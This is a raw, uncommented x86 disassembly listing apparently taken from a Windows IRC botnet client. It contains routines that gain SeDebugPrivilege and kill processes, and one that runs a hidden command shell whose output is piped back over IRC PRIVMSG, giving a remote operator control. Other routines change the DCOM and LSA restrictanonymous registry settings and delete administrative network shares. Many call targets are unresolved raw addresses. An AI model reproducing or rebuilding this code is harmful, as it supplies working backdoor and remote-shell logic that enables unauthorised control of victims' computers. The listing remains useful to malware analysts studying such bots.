		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAE88
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh

loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396C0

loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439720
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		call	near ptr 2710CAAh
		nop
		test	eax, eax
		jnz	loc_41988F

loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAF94
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE34
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]

loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]

loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------

loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2

loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAE88
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx

loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi

loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx

loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax

loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2710CAAh
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398C0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_43989C
		jmp	short loc_419977
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439878

loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2690325h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		call	near ptr 2710CAAh
		nop
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2670999h

loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396BCh, 2765E3E8h, 0E3EB9002h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB1F8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi

loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi

loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB1F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi

loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB1FC
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D128
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		call	near ptr 2690000h
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------

loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20

loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB204

loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 286094Fh
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB1F4
		call	near ptr 2860371h
		nop
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19

loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		call	near ptr 2690000h
		nop
		jmp	short loc_419B27
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1

loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91

loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi

loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------

loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------

loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439948
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26F0000h

loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439920
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop

loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_4398F0
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43350C
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB1FC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D128
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2670C98h
		test	eax, eax
		jnz	short loc_419D66

loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------

loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB1F8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB200, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB1F4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB238, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------

loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx

loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB204
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399AC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEB8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 26900B1h
		cmp	eax, esi
		mov	dword_43DEC4[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 2690800h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax

loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------

loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D

loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26F0000h
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB044, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438724
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C48
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C28

loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419F17
; ---------------------------------------------------------------------------

loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BA8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------

loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439B74

loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B38
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------

loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B08

loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEB8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_4399D0

loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439AE4
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------

loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AB8

loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4399F0
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------

loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C

loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439A94
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------

loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A68

loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi

loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB004

loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB044, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438768
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DC0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------

loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DA4

loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------

loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A2C4
